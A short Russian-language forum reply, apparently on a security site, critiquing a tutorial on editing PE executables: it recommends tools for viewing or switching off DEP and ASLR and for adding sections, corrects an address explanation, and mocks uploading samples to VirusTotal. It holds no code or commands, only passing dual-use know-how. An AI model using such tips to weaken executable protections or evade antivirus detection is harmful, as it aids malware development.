Есть такая штука - GitHub - OsandaMalith/PESecInfo: A simple tool to view important DLL Characteristics and change DEP and ASLR
ИМХО, удобнее.

1635069968376.png



Ну, либо просто посмотреть в Process Explorer:
1635069720162.png


Понадобится нам лишь утилита LordPE
Опять-же, есть, например, CFF Explorer. Который нормально создаёт секции, не ломая PE.
1635068553410.png


004 - это общая приставка для всех
Чё?

а 7D000, адрес строки с LordPE
Адрес - это, таки, 0047d000. Там нет "приставок".

Теперь давайте зальем оба файла на вирус тотал
"Спасибо".
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!